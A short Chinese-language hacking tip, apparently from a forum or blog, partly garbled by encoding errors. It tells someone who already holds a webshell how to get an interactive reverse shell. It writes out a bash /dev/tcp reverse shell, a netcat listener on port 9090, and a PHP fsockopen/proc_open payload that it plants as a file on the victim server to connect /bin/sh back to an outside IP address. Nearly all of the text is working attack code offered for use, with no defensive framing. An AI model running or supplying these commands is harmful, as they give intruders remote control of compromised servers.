如果你拿到了webshell!?。。?!
如果你還在用傳統(tǒng)寫法 /bin/bash -i >& /dev/tcp/x.x.x.x/9090 0>&1 無回顯感到煩惱時
如果你能上傳webshell,卻啥也干不了的時候??
如果你明明可以執(zhí)行telnet出網,但是bash -i絲毫無作用的的時候??
如果你還在用 php eval執(zhí)行各種SB指令沒有效果時,為什么不試試下面的方法???

監(jiān)聽者:
nc -lvp 9090
受害者webshell:ps(針對RCE的一種寫法,舉一反三)
'echo \'<?php $sock = fsockopen("23.23.23.23", "9090"); $descriptorspec = array(0 => $sock, 1 => $sock, 2 => $sock ); $process = proc_open("/bin/sh", $descriptorspec, $pipes); proc_close($process); ?>\'>' +fuck.php
sock反彈shell是你別無選擇的方法!?。。。《米匀欢?/p>